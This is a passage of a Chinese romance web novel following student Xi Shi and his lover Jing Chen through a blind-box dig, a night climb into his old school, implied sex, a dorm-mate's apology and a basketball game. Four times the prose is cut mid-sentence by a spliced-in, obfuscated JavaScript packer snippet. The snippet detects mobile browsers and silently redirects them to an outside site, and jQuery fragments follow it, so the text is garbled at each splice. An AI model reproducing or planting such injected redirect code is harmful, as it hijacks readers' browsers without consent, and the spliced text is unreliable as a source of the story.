学弟:[我们的口号是:干饭!干饭!干饭.JPG] 你咋不上天:我跟我朋友在一起。 你咋不上天:下午对不住,扫你们兴了。 学弟:我知道跟学长没关系,学长不用自责噢! 学弟:[看我火眼金睛.JPG] 奚时发现就算是首富之子,好像也没三头六臂,聊天爱用表情包。 要是不知道他的身份,只会让人觉得这是一个阳光开朗的小学弟。 而且霍思议看起来教养很好,不会有那种高高在上的优越感,跟他聊天一点都不会有要小心翼翼讨好的想法。 学弟:对啦学长,我刚看了论坛,论坛上发照片污蔑你那个人,我让人帮你揪出来,狠狠帮你出气嗷。 学弟:连包养这种谣都敢随意造,太恶毒了。 奚时看到这条消息,有一点心虚。 其实也不算是......造谣吧。 你咋不上天:不用麻烦,你三哥已经帮我摆平了。 学弟:? 学弟:哪个三哥? 学弟:霍思远? 你咋不上天:嗯,也是刚认识的。 霍思议那边过了好一会儿,才回消息。 学弟:我回来了。 学弟:刚把我三哥胖揍了一顿。 学弟撤回一条消息。 学弟:刚跟我三哥有爱交流了一会*^_^* 学弟:[乖巧.JPG] 奚时:“……” 好好好,这样撤回是吧。 奚时有点小尴尬,他不会造成这两人什么兄弟阋墙吧? “到了。”景沉忽然说。 “这么快?” 奚时有点纳闷,解开安全带下车,看了眼周围环境,说:“这好像不是你那个小区呀哥。” “看你聊得投入,就绕到一个陌生的地方打算把你卖掉。”景沉锁上车说。 奚时没听出这话里的酸意,牵住他的手笑嘻嘻地说:“那要卖得贵点哦,清纯男大学生很值钱的。” 景沉带他来的是一个商场,奚时不明所以,还以为是带他来吃饭,其实他这会儿没什么胃口,但又不想扫景沉的兴,所以还是任由他牵着,坐电梯上了商场的三楼。 令他意外的是,景沉把他带进了一个盲盒挖宝馆。 奚时还是第一次来这种奇葩的地方,这里顾客还挺多,多数是大人带着小孩,也有成年人或者情侣。 这些人眼前桌上的盒子里都是一个土块,拿着铲子锤子和凿子在土上敲敲打打,挖开的那些可以看到各式各样的“宝贝”。 奚时有看到挖出来一套熊猫玩偶的,7个小熊猫各有特色,憨态可掬,看得他都想要了。 “玩么?”景沉问。 奚时:“玩!” 二人在一张桌子前坐下来,店员捧了个挺大的土块过来,嘱咐他们挖掘时的注意事项后,二人开始挖起来。 敲敲打打了一阵后,里面的东西慢慢现出原形。 “好像是机甲跑车模型哎,跟我那跑车好像!”奚时有点开心地说。 “再往下挖看看。” 景沉手下铲子不停,奚时却阻止他说:“别别别,别用铲子了,我们用刷子吧,我怕把它弄坏了。” 景沉失笑:“不用那么小心,不会有太精致的东西。” “那不一定,你看这线条,多流畅,肯定是个宝贝。” 奚时已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048955|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全身心投入进去了,小心又小心,生怕把模型弄掉一块漆皮,渐渐的模型露出了全身。 还真别说,这模型除了可能在土里埋久了,上面有污垢和灰尘,还真不是那种粗制滥造的小玩意。 它看起来特别精致,设计流畅而富有美感,绝对不输那些模型爱好者收集的车模。 店员走过来,看到奚时手上的车模,“哇”了一声说:“两位帅哥,你们把我们镇店之宝都挖出来了,恭喜恭喜,这个模型1000多呢,你们赚大发了。” 店里的挖宝盲盒统一200一个,挖出来的能回本就已经赚了。 居然还能超值。 “真的吗?”奚时笑得很开心,“那看来我们今天很欧啊。” “是的,您看上面这土垢,就知道已经埋好久了,这里还需要用超声波清洗一下,跟我来。” 店员把他们带到了后面的小隔间,示意奚时把车模型放进一个水箱里,瞬时那模型周围弥漫出脏污的水雾,很快把整辆模型都淹没了。 “见证奇迹的时候来咯。” 店员说着,用夹子夹出里面的模型,就见原来脏污暗淡的模型,变得干净程亮,在灯光的反射下,模型表面漆身的光泽度很亮眼,酷炫的外表设计和流畅的线条一览无遗。 没有一个男人能逃过跑车模型,奚时也不免俗。 他双眼晶亮地从店员手中接过洗好的模型,抬头看景沉:“哥,我好喜欢啊!” 景沉见他笑得开心,脸上惯有的严肃淡漠褪去不少,说:“它很漂亮。” “是啊,”奚时爱不释手地玩了好一会儿,才递给店员说,“麻烦帮我打包起来一下,谢谢。” 店员小心接过他手上的模型,装在一个盒子里,又把盒子装袋子里递给奚时。 奚时看到袋子上贴了一张粉色的卡片,上面写着字,奚时拿出来看。 ——烦恼和不开心就跟蒙在上面那层土一样,你只要把它们拨开,就会遇见快乐。 字体苍劲有力,一看就不是这个店员的字迹。 奚时福至心灵,转头眼睛亮晶晶地看景沉:“你写的吗?” “嗯,刚去洗手间时顺路写的,”景沉直接承认了,“现在心情有没有好一点?” 原来是看他心情不好才特意带他来玩这种挖宝小游戏啊,奚时内心一片感动。 原来难过有人关注,是这种滋味。 他已经许久许久,没被人这样偏爱过了。 他堂哥对他很好,但很忙,更多的是物质上对他的关心,不然奚玥也不会那样骑在他头上了。 小时候每次难过,每次被人欺负,他只能像一只受伤的小鹿,躲起来舔舐伤口,长大后他学会了自我消化和伪装,更没人会来安慰他。 “已经好了,谢谢哥,我现在好开心呀。” 奚时挽着景沉的手臂往外走,把头靠在他肩膀上,说:“差一点要爱上你了,怎么办?” 景沉脚步微不可查地顿了下,问:“差哪点?” “不告诉你。” 景沉揉了揉他脑袋。 奚时没法说,那一点,是景沉的身家。 他是注定要联姻的,他们这段关系,是注定要以分开为结局的。 哎……唉。 店员看着他们甜蜜离开的背影,也学他们挽住另一个店员的手臂,羡慕地说:“这就是为博美人一笑豪掷千金吗?酸了,我男朋友要是出手这么阔绰就好了。” 那个跑车盲盒,确实是他们的镇店之宝,只不过挖它的价格不是200,而是2000。 哪个冤大头会花2000块挖一个不知道里面埋了什么的盲盒啊! 所谓镇店之宝,都快成吃灰之宝了。 好在还是有人为博美人一笑豪掷千金的。 另一个店员戳她脑袋:“醒醒,你没有男朋友。” “……”扎铁了,老心。 18. 第 18 章 离开挖宝馆,奚时心情已经完全好了,他这时候才发现这个商场有点眼熟。 “咦,哥,这个商场是育英中学旁边那个吗?” 景沉“嗯”了一声。 “那是我高中的母校哎,自从毕业后,我就没再回去了,不知道变化大不大。” “要不要去看看?不过今天周六,应该没人。” 奚时嘿嘿笑:“想进去也不是不行,哥,你上学时翻过墙没?” 景沉:“……没有。” “没翻过墙怎么算完美的上学生涯呢,走走走,我带你去把这缺憾补上。” 奚时兴致勃勃地拉着景沉往电梯走:“我们开车到北门那里,我知道一个绝佳的翻墙位置。” 景沉:“……” 他可以拒绝吗? 不过看奚时一副跃跃欲试的样子,景沉最终还是选择了纵容。 育英中学的北门旁边是一片工地,到了晚上人烟稀少,正是夜黑风高好办事的绝佳地点。 “哥,这边。” 奚时打着手机的电筒,站在一片围墙底下,冲景沉招手。 这个围墙是砖石的,上面用来阻止学生进出的电网已经坏掉了,所以只要翻过围墙,就能进去。 “哥,你先帮我打着灯,我给你表演个小猫过墙。” 奚时说着把手机递给景沉,煞有介事地搓了搓手,又原地跳了两下热身。 随即,他一个冲刺,到墙边时起跳,双手攀住围墙上沿,借着手的力气,脚快速在墙壁上往上蹬,随着身体重心上移,他手再次使力,一下把自己提到了墙上。 奚时双脚悬空地坐在围墙上,得意地冲景沉笑:“我这一手还可以吧。” 景沉:“一看就是逃课高手。” 奚时被他这捧哏逗乐了,冲他伸出手说:“来,我拉你上来。” 景沉走到墙边,朝奚时伸出手,却是往他手心里放了两个手机。 奚时刚想把手机放围墙上,再重新伸手拉他,就见景沉双手攀住墙沿,借着手上的力气纵身一跃,半个身体就上来了。 他的脚在墙壁上蹬了一下,借这力再往上一跃,整个人就上来了。 卧槽。 奚时看得目瞪口呆。 这特么……怎么跟有武功似的。 “哥,你,你练过的啊。”奚时半天才找回自己声音。 景沉轻描淡写地说:“跟人学过一点三脚猫拳脚。” 他这种身份,没点防身的拳脚,被人绑架暗算了都没反抗之力。 奚时:QAQ 他也想要这样一点的三脚猫拳脚。 这边围墙进去就是学校的操场,几乎和奚时上高中时别无二致。 ——散发着味道的塑胶跑道,几乎是摆设的足球场,永远不会空着的篮球场,还有女生们最爱的羽毛球场,都还是老样子。 “这篮球场还没扩建啊,以前我们为了抢个篮球场,什么手段和心机都用得上。”奚时看着那篮球架,不无怀念地道。 高中大概是学生生涯最肆意开心的一段时光了。 “你还会打篮球?”景沉问。 “哼,别小看我,要不是我大部分时间都要用在学习上,我们那届的篮球队队长就是我了。” 奚时说着走到篮球架边,拍了两下手中不存在的篮球,再双脚曲蹲,起跳,做了个标准的投篮姿势。 景沉看着他充满活力的背影,眼中含笑。 这时,奚时忽然眼睛亮晶晶地看向景沉:“哥,这篮球架没换哎!” 景沉:“所以?” “我高中时在底下藏了东西,不知道还在不在。” 奚时兴奋地说着,弯下腰,伸出手伸进篮球架底部的缝隙里,那缝隙刚巧够个手掌进去,他的手指往上探。 “摸到了!” 奚时开心地说着,手上用力推了两下,被他藏在篮球架底部上面的小铁盒子掉在地上,他顺手把它顺出来。 景沉也有点意外他高中时候藏这里的东西还能找得到,蹲下来帮他打手电筒,就看到一个巴掌大的扁平铁盒子,已经锈迹斑斑。 “哥,”奚时把盒子拿起来,递到景沉面前,说,“我把我高中留下最重要的东西送给你!” 景沉犹豫了一下,伸手接过来。 “你确定?” “当然了,快打开看看吧。”奚时把他手中照明用的手机拿过来,帮他打着。 在他期待的目光下,景沉用手指抠开那铁盒子的盖子,盒子锈得有点厉害,景沉抠了好几下才抠开。 跟满身是锈的外表不同,里面跟新的一样,内里镀的金属还是崭新的银色。 盒子里放着一把纸壳做的小剑,剑底下压着一张纸片。 景沉拿起来看,就见上面写着“天选吾儿,见此剑如见汝父,愿汝继承吾意志,拿此剑斩杀妖魔,替父行道。” 景沉:“…………” 奚时已经笑得捶地板了,说:“吾儿,爸爸赐给你的大宝剑可还喜欢?” 景沉知道是被奚时恶作剧了,这盒子估计他就是塞在这里,等着哪个学生发现取出来看到的,没想到过了两年都没被找出来,等到了他自己来。 “中二。” 景沉摇了摇头说,却小心地把那纸做的大宝剑放回去,又把盒子的盖子盖上。 没收了。 正在这时,忽然一道强烈的手电筒光朝他们射来,同时不远处传来一声怒吼。 “你两是谁?怎么进来的?大半夜在这里鬼鬼祟祟干什么!” 奚时和景沉都被这变故吓了一跳,特别是奚时,他本来乐得捶地,被这么一吓,直接跌坐在了地上。 “跑!” 景沉站起来,又伸手把奚时拉起来,往他们来时的方向狂奔。 打手电筒的那个人应该是学校巡逻的保安,见他们拔腿就跑,也立刻追上来,一边追一边在后面喊:“站住!你们两个小兔崽子,给我站住!” 会站住才是傻缺! 奚时一边跑一边吐槽,很想回过头去跟保安说要不您还是憋喊了,省点力气追上我们的机会更大。 二人很快跑到了围墙边,景沉一如既往发挥正常,一蹬一跃就上去了。 奚时却在脚在往上蹬时,由于墙面太滑滑下去了,没上来成功,这时保安离他不到五米,奚时还想再试一次,听到景沉冷静的声音说:“把手给我。” 奚时立刻把手递给他,景沉的手很有力量,拉着他安全感十足,奚时借着他的手上力气,也三两下直接爬了上去。 他刚上去,保安就到了,气喘吁吁地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048956|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“站住,呼,呼,别跑!” 这么近的距离,奚时才发现这保安他认识,教导主任的狗腿子一枚,他高中翻墙被他逮捕过好几次。 “就跑,略略略。” 奚时冲他做了个鬼脸,和景沉一起跳下了围墙。 保安大概率没办法翻墙过来,不过为了以防万一,二人还是跑得飞快,一直到了停车的地方,才停下来。 奚时靠着车累得直喘气,喘了一会看向景沉,刚好景沉也在看他。 四目相对,两个人都不由地笑了。 这一晚,也太刺激了。 两个人笑了一会,也不知道是谁主动,不知不觉拥吻在了一起。 静谧的月色下,他们彼此相拥,气息交融,刚平复下来的气息又渐渐紊乱急促。 他们一周都没有亲热过了,又都才开荤,食髓知味,原本很简单的一个吻,却很快变了质,且一发不可收拾。 意乱情迷间,奚时被推到了跑车的座位上,景沉高大的身躯也要往里挤时,却尬住了。 跑车空间太局促,根本容纳不下他们二人。 “咳。” 奚时尴尬地咳嗽了一声,装作什么事情都没发生,整理好自己凌乱的衣服。 景沉目光幽沉地看着他,又俯身索了个长吻,才起身,关好车门。 回去的一路景沉开得尤为快,三十分钟的路程,在略有堵车的情况下,还被他压缩到了25分钟。 但今天的车速一点都没受影响,奚时在景沉狂乱的飙车下,昏昏沉沉,如上云端,又如坠崖底。 …… ………… 霍思议发现自己撤回了那条揍霍思远的消息后,奚时就没再给他回消息了。 他郁闷极了,干脆杀去霍思远住处,他怀疑霍思远是不是跟奚时说了自己什么坏话。 霍思远正打算趁着这大好春光出去浪,被霍思议堵了个正着,听明他的来意后,不知道说什么好。 他是不是应该明示一下这情窦初开的小堂弟,奚时不回他不是因为他说错了话或者做错了事或者谁告状的问题,而是奚时可能这会儿正在跟他爸滚床单无暇回消息?! 但他又不敢说破他小叔和奚时的事情,谁知道这二人在玩什么play。 唉,做人好难,做一块夹心饼干的夹心更难。 思来想去,霍思远想出了一个馊主意,说:“你要是真喜欢他,就直接勇敢地去追呗,跟他表白,告诉他你喜欢他。” 要是奚时在明明有小叔的情况下接受他的表白,那他小叔自然会收拾他。 要是奚时拒绝了,霍思议就可以死心了,不用在这里患得患失。 反正无论哪种结果,他都可以完美地隐身。 千万别再带他了,他不想怎么被他小叔弄死的都不知道。 听到喜欢两个字,霍思议脸有点微红,说:“可是……” “没有可是!”霍思远打断他,继续给他打鸡血,“犹豫就会败北,不果断就会白给。” “你可是首富家公子!要外貌有外貌,要学历有学历,追谁都不需要卑微。” “勇敢上吧,少年!相信自己!” 在霍思远一针针的鸡血中,霍思议的表情慢慢变得坚定,握拳道:“好,等周一去学校我就表白!” 19. 第 19 章 第二天奚时是被饿醒的。 昨天从育英中学回来后,他就顾着和景沉滚床单了,滚到后面神志不清,累得差点厥过去,到最后直接昏睡了过去,根本没想起来吃饭这回事。 景沉已经醒了,正坐在床上用手机看不知道什么东西,眉头微微皱着,似乎对看到的东西很不满意。 奚时发现景沉这样子挺唬人的,有点像高中教导主任抓到逃课学生的样子,带着风雨欲来的慑人气场。 景沉要是当老板,他底下的员工都不敢犯错吧。 光是想想,奚时已经开始窒息了,脑袋忍不住往被子里埋了埋。 景沉察觉到他的动静,摁灭手机看过来,伸手在他脸上摸了一下。 “醒了。” 看着瞬间柔和下来的男人,奚时脑袋在他掌心蹭了蹭。 “饿。”奚时发现自己嗓子又哑了。 景沉说:“我叫了外送,起来吃饭。” 想到景沉这边的外送,奚时唾液分泌一下旺盛起来,刚想从床上爬起来,“嘶”一声倒吸一口冷气,又跌了回去。 “怎么了。”景沉刚下床,听到动静转回头。 “腰要断了,”奚时嗔怪,“哥,你怎么一次比一次猛。” 景沉沉默了一下,说:“……我帮你揉一下。” 说着他重新坐回床上,帮奚时揉腰。 奚时的腰上痒痒肉很多,景沉手刚触碰上去,就痒得受不了了。 他笑得不行,抓住景沉的手。 “别揉了,哥,哈……好痒,哈哈哈。” 景沉故意不停手,揉得奚时像一条蛆一样在床上扭来扭去,他一边躲,一边起来把景沉扑倒在床上,伸手也去挠他。 但景沉身上好像没有一处痒痒肉,无论他挠哪里,景沉都没反应。 “咦?哥你不痒吗?”奚时纳闷地问。 景沉:“痒。” “那你怎么都不笑的?” 景沉:“忍住了。” “......” 靠,这都能忍住,这种人做什么不能成功啊! 奚时骑在他的身上,挠着他的胳肢窝威胁:“快笑,不然扣你工资!” 景沉终是没绷住,闷闷笑出声来。 奚时趴在他的身上,被他仿佛从胸腔里传出来的笑震得一阵酥麻,身上都忍不住起了一层鸡皮疙瘩。 奚时忍不住脸微微发红。 这老男人,无时无刻不在勾引他这个金主爸爸。 由于奚时饿得受不了了,闹了一会二人起来吃早饭。 不过今天他们都没什么安排,心安理得地在景沉的房子里腻歪了一天,傍晚去学校时,奚时的腿仿佛不是自己的了。 看着犹如吸了阳气一般红光满面的景沉,奚时不禁怀疑他这一个月50万的包养费是不是亏了。 怎么看出钱的那个都应该是景沉啊! —— 到宿舍时,舍友郭昊和肖楠两个外地的学生都没回去,正在宿舍里开黑打王者。 看到他回来,郭昊招呼他:“奚哥,打排位不,我们碰到个小学生野王,李白玩得贼溜。” 奚时:“......” “什么小学生,叫小孩哥。”肖楠说。 郭昊立刻说:“对对对,小孩哥野王,可猛了,带我们嘎嘎上分。” 奚时说:“不打了,我手疼。” “手疼?”郭昊立刻关心地问,“手怎么了?” “......”奚时的耳朵尖红了红,轻咳一声说,“昨天跟朋友去骑马,拉缰绳拉的。” “哦......” 郭昊没骑过马,心想骑马这么难的吗,居然拉缰绳会把手拉疼。 这得骑得多努力。 奚时打开微信,给景沉发到宿舍了的消息,顺便看一下有没有其他重要的消息错过。 往下划拉时,他看到了昨天才加好友的霍思议,有三条未读消息。 学弟:其实我跟我三哥关系很好的,胖揍他也是玩笑。 学弟:QAQ学长? 这两条是昨天的。 半个小时前,霍思议还发了一条。 学弟:学长,你来学校了吗? 学弟......靠,奚时这才想起来,昨天他跟景沉又是玩挖宝DIY,又是夜探高中的,接着又是高强度滚床单,完全忘记给霍思议回消息了。 刚刚霍思议发这条时,他也正在跟景沉在做临别前的你侬我侬,完全没听到。 或者是听到了,完全没在意。 他居然就这样冷落了首富之子,他真该死啊! 奚时心虚极了,正要给他回消息,宿舍门忽然“卡擦”一声开了。 用脚指头想都知道,是汪洋回来了。 奚时头也不抬,低头打字。 刚输入“抱歉啊”三个字,他听到汪洋带着哭腔的声音叫他:“奚时。” 奚时甚至还没反应过来,又听到“噗通”一声,居然是汪洋在他面前跪了下来。 他这个突然的举动,把全宿舍的人都吓了一跳。 郭昊和肖楠正在打团,见到此景连交两个向前闪现,直接送了。 顾不得耳麦里队友的怒骂,肖楠“卧槽”了一声,说:“洋洋,你做什么?” “是不是腿软了,来来来,我扶你起来。”郭昊三两步走过去扶他。 汪洋却没起来,他的眼睛泛红,里面全是红血丝。 而且这时候,大家才发现他右边脸上红红的,有个明显的巴掌印,不知道是被谁打的。 总之一个字:狼狈。 他带着哭腔说:“奚时,我错了,我不应该在论坛上乱发帖子诋毁你,求求你,不要再让霍三少打压我们家了。” “……” 郭昊和肖楠二人面面相觑。 论坛?莫非是昨天说奚时被老男人包养那帖子? 居然是汪洋发的? 可是,汪洋不是富二代吗?他男朋友更是邵宇集团的二公子,他怎么又要求奚时放过他了? 二人皆是一头雾水,但光是想想论坛上那个诋毁的帖子,他们看向汪洋的目光都带上了异样,又默默地坐回了座位,装作继续打游戏。 奚时一开始也被吓了一跳,卧槽这都什么年代了,怎么还有人下跪的。 太抽象了吧。 不过,听到汪洋的话,他就一切都懂了。 奚时昨天把班上的同学都想了一遍,没想通是谁看他不顺眼要搞他,压根没想过是汪洋。 这算哪门子的同学啊!顶多算校友吧。 而且,他真想不出汪洋要搞他的理由,未婚夫已经让给他了,他不吵不闹不纠缠,还没答应邵家的契约结婚,让汪洋能光明正大地同邵寻在一起,不用背负小三骂名。 多好啊,怎么也值得颁个模范前任奖了。 奚时不是那种人家哭一下求一下就心软的人。 他冷冰冰地说:“你求我没用,这件事我从头到尾都没参与过,也不是我让霍三少搞你家的,我跟他不熟,没那个本事。” “怎么可能,你跟霍三少不是……不是情侣关系吗?” “情侣关系?”奚时笑了,“我的情侣是谁,你不是看得很清楚吗?” 汪洋浑身一震,有点不可置信。 原来奚时和霍三少,不是一对吗? 难怪,难怪霍三少知道这事后,第一时间不是震怒收拾奚时,他以为是奚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048957|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时用了什么狐媚手段求得了霍三少的原谅。 原来是奚时根本没有脚踏两只船。 所以,是他一开始就错了吗? “别在我这里跪着了,我受不起。”奚时冷漠地说。 汪洋这事情,是他自己心术不正招来的报应,后果就应该自己担着,他没那个善心去帮他。 “不,你肯定是骗我的,如果你跟霍三少不是情侣关系或是不熟,他之前为什么又要打压邵家?” 打压邵家?! 这又是哪跟哪? 邵家不知道哪里得罪了霍家,就赖在他头上,明天地球不转了都得怪他认识霍思远是吧。 汪洋见他无动于衷,膝行两步到奚时跟前,说:“奚时,我真的知道错了,只要你跟霍三少说一声,要我在论坛发帖道歉都行,求你了。” 奚时真被他搞烦了,不知道的还以为他们搁这演古装剧呢。 “我说了,我没那么大能量,霍思远既然要报复你们,肯定是你们招惹了他,你们怎么招惹的就怎么去道歉求原谅,求我有屁用,你甩我一嘴巴子,我难道还要转头给看到的人说不疼,别怪你?” 奚时说着,也不管他起不起来,直接起身,离开了宿舍。 简直是神经病。 还是赶紧搬出去住吧,跟这人同宿舍太可怕了。 奚时上租房网,一口气加了好几个中介,说明自己的要求,让他们把手上的房源发过来。 果然人多力量大,他看到了好几套都挺喜欢的,约了白天没课的时间去看房。 约完,收到了舍友郭昊的消息,说是确定汪洋已经离开了,可以回去了。 奚时于是又回了宿舍。 刚进去,郭昊和肖楠一左一右挟持他。 “奚哥,快说说,怎么回事啊?洋……汪洋他干嘛忽然跪求你。” “就是啊,怎么感觉跟你做了两年多的舍友,我们才像是新搬来的?” 奚时一向不爱炫富,在舍友的心里,他就是个家里比较有钱的学生,他们更不知道他和邵寻那一段,所以今天直接把他们整蒙了。 奚时知道瞒不过去,于是从头到尾把事情给他们说了一遍,听得两人直呼卧槽。 特别是听到邵寻为了和白月光汪洋在一起,直接和他解除婚约那段,简直目瞪口呆。 他们可不会忘记汪洋时不时在他们面前秀恩爱,秀男朋友多富有体贴。 特别是上周坐专机去吃烧烤那一段,简直是蒂花之秀。 这踏马,原来都是秀给奚时看的。 想到他们当着奚时的面奉承邵寻,夸他们般配,郭昊和肖楠恨不得找个缝钻进去。 他们真该死啊! 奚时一看他们表情,就知道他们在想什么,立刻做了个停的姿势。 “给我道歉就不用了,毕竟是我隐瞒在先,而且在退婚那一刻我就放下邵寻了,并且很快就有了新欢,汪洋秀那点恩爱,一点都伤害不到我,我甚至没在意。” “新欢?”郭昊立刻一脸八卦,“谁啊?” 奚时见他们被转移了注意力,松了口气,说:“大帅比!有机会带来给你们看。” 至于有木有机会,那还不是他说的算。 总算打发了室友,奚时再次松了口气。 汪洋晚上没再回来,奚时得以个清净。 他今天和景沉胡闹了一天,回来又经历了这事情,疲惫不堪,随便洗漱了一下就睡了。 临睡前,奚时感觉自己似乎忘记了什么事,但又想不起来。 算了,能被忘记的事,也不是什么重要的事。 一直在等待奚时回消息的霍思议:“……” QAQ美人学长这么高冷的吗? 20. 第 20 章 汪洋这一走,一晚上都没再回来。 奚时也没在意,他和汪洋真的是可以用不熟来形容,他甚至到现在也不明白对方为何对他有那么大的敌意。 大概是他长得太帅了吧。 下午下课后,有同学找奚时去打篮球,奚时也好久没打球了,手痒痒,于是爽快应了。 燕大的篮球场很大,许多学生在打篮球,奚时他们过去时,发现有一块场地挺热闹的,许多女生在那里围观。 一般这种情况就是有帅哥在打球,奚时打球时也会有这种情况,不过不止女生喜欢看。 男生也喜欢。 奚时不经意瞥了一眼球场上打球的人,看到正在运球的霍思议时,脚下顿了顿。 他终于想起来昨天睡前忘记的事情了,是忘了给霍思议回消息…… 他居然连着冷落了首富之子两次,更该死了。 霍思议看起来篮球打得挺不错,奚时看过去时,他在两个人的拦截下带球攻篮,一个干净利落的起跳,暴扣得分,球场上瞬间爆发出一阵欢呼。 看来,这些人都是冲着霍思议来的。 霍思议生得阳光帅气,而且他不是个低调的,即便现在在打球,身上的球衣也是那种几千一套的高端品牌,脚上更是踩着几万一双的限量版球鞋,富二代如奚时,平时连几千块买的球鞋都舍不得穿出来打球,可见霍思议有多壕。 即便大家不会把他和首富之子联系在一起,也可以由此推断处霍思议出身不菲。 好看的外表,以及优越的家世,让霍思议很快成了新一轮的男神。 当然,这跟奚时没啥关系。 想到自己对首富之子的忽略,奚时有点心虚,刚要装作什么都没看到走过去,霍思议他们的篮球砸在篮筐上弹出来,刚好弹到奚时这个方向。 霍思议的视线随着篮球看过来,看到了奚时,眼睛一亮。 “学长!” 霍思议球都不打了,跑到奚时面前,看到他抱着篮球,问:“学长,你也来打篮球吗?” “是啊,我跟我同学约好了,先走了啊。” 霍思议眼睛亮晶晶的:“刚好我还没看过学长打球,去给学长加油去。” 奚时干笑:“我打着放松的,而且你不是在打吗,你那么多迷妹等着看呢。” 霍思议不甚在意地说:“我也是打着玩的,走了自然有想玩的会顶上,这些女生估计就是看我们打得精彩,驻足观望一下,哪里来的迷妹。” “还是……”霍思议可怜巴巴地看着他,“学长你不欢迎我围观。” “当然不是,”奚时受不了他这受欺负的小媳妇样,忙说,“你想看就走吧。” 霍思议绽放出一个开心的笑容:“好。” “……” 怪怪的。 奚时好一阵子没打篮球了,摸到篮球后有种封印解除的感觉,很快就把霍思议抛之脑后了。 不过,打了一会,有个同学突然说肚子不舒服打不了了,让霍思议顶替他。 奚时总感觉那个说肚子痛的同学表现得有点浮夸,不过也只是疑惑了一下,并没放心上。 而且霍思议打得比那个同学好太多,奚时原本打着玩的松弛感一下绷紧了,到最后几乎真的成了角逐,吸引来了不少人围观。 一直打到七点半,大家肚子饿得受不了,他们才解散。 奚时抹了一把汗,见霍思议朝他伸出手,也笑着举起手,跟他击了一下掌。 这个行为立刻引来还没散去的围观群众一阵尖叫,奚时早习惯了这种场面,霍思议却像个虾子一样,一下红了脸。 奚时好笑地拍了拍他的肩膀,转身去拿书包,没看到霍思议连脖颈都涨红了。 “奚学长,喝水。” 刚走到场地边,有几个围观的女生推推搡搡走过来,给他送水,一看就是大一的学妹们,老一些的油条都不送了。 奚时从地上捞起自己的水,冲她们晃了晃,说:“谢谢啊,不用啦,我喝不了那么多会浪费。” 几个女生也没勉强,又嘻嘻哈哈地问他要微信。 奚时正要拒绝,一个拿着单反的女生说:“学长,我是我们燕京摄影协会的,我刚拍了好多你打篮球的照片,可帅了,加个微信吧我发给你。” 嗯?照片。 奚时想到什么,拿出手机说:“那行,不过你们不可以随便把我微信给别人哦。” 其他几个女生听到你们两个字,知道自己也沾了光,开开心心地答应了,忙拿出手机加他。 奚时加完她们,见又有人跑过来想加,赶紧收起手机,拎起书包,转身去找一起打篮球的同学,跟他们一起去吃饭。 霍思议理所当然也一起。 男生间的友谊来得很简单,只要一场篮球,就足以让他们勾肩搭背。 “霍思议是吧,篮球打得不错啊。” 霍思议一脸腼腆:“奚时学长打得更好。” “他啊,他就是个牲口,长得一脸无害,打起来比谁都狠,哪像你这么表里如一。” 另一个男生捏了一下他的手臂,“哇塞”了一声,说:“这肌肉,你不会是体育生吧。” “不是,我就是比较爱锻炼,我是法学系的。” 众男生又哇塞出声,法学系可是他们燕大的王牌专业,录取线每年都很高,可见霍思议有多优秀。 霍思议平时受惯了吹捧,根本不在意这些男生的夸赞,之所以透底,只不过想让奚时知道他的优秀。 然而,他偷偷看了眼奚时,却发现他单肩背着书包,正在低头看手机,好像根本没把他们的话听进耳朵里。 这让霍思议多少有点挫败。 好在没听霍思远那家伙的馊主意贸然表白,不然肯定被直接拒绝。 打饭的时候,霍思议让那些男生先,故意落在后面,装作不经意瞥了一眼奚时的手机界面。 可他贴了防窥膜,根本看不到什么,只依稀看见了他好像在聊微信。 难道是他那位对象?奚时只否认了自己被老男人包养,没否认他有对象。 “学长,先打饭,没菜了。”霍思议酸溜溜地提醒他。 奚时“哦”了一声,收起手机,看向已经基本没剩几个菜的窗口,忽然有点震惊地转头看霍思议。 “你也在这里吃?” “是啊,怎么啦学长。” “……没怎么。” 他只是很难想象,霍思议这种首富之子吃食堂这些几乎算得上剩菜的菜…… “其实我很好养活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048958|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 